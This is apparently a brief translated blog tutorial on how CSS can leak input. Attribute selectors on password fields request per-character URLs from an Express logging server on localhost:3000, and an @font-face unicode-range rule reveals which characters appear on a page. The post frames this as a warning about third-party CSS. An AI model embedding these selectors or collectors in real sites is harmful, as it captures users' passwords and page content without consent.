Simple CSS code, even in turing-complete language, can be a tool for some attackers. Here is a brief introduction to how to use CSS to record users’ passwords. However, these CSS scripts are stored in third-party CSS libraries, so use third-party CSS libraries with caution to ensure code security. Direct code parsing:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}
input[type="password"][value$="1"] { 
    background-image: url("http://localhost:3000/1"); 
}
input[type="password"][value$="2"] { 
    background-image: url("http://localhost:3000/2"); 
}Copy the code

Input [type=”password”] is a CSS selector, which selects the password input field. [value$=”0″] indicates that the matched input value ends in 0. So:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}Copy the code

The code above means that if you type 0 in the password box, you request http://localhost:3000/0, but browsers don’t store user-entered values in the value property by default, but some frameworks do synchronize them, such as React. As a result, the script shown below can be used to store user input data.

Let’s look at the server-side code again:

const express = require("express"); const app = express(); app.get("/:key", (req, res) => { process.stdout.write(req.params.key); return res.sendStatus(400); }); App.listen (3000, () => console.log(" start, listen to port 3000 "));Copy the code

Use the express create server, listen on port 3000, as long as the request to http://localhost:3000/:key, can output the value of the key can record the value of the input on the server. So as long as every input value matches, and then background-image requests a prepared interface, the user’s input can be recorded.

A similar method records the user’s content in CSS code

@font-face {  
   font-family: blah;  
   src: url('http://localhost:3000/a') format('woff');  
   unicode-range: U+85;
}
html {  
   font-family: blah, sans-serif;
}Copy the code

The simple font library of CSS that you use, whenever your page contains a, will request http://localhost:3000/a to know that your page contains a character.

Welcome to pay attention to my public number: front half past eight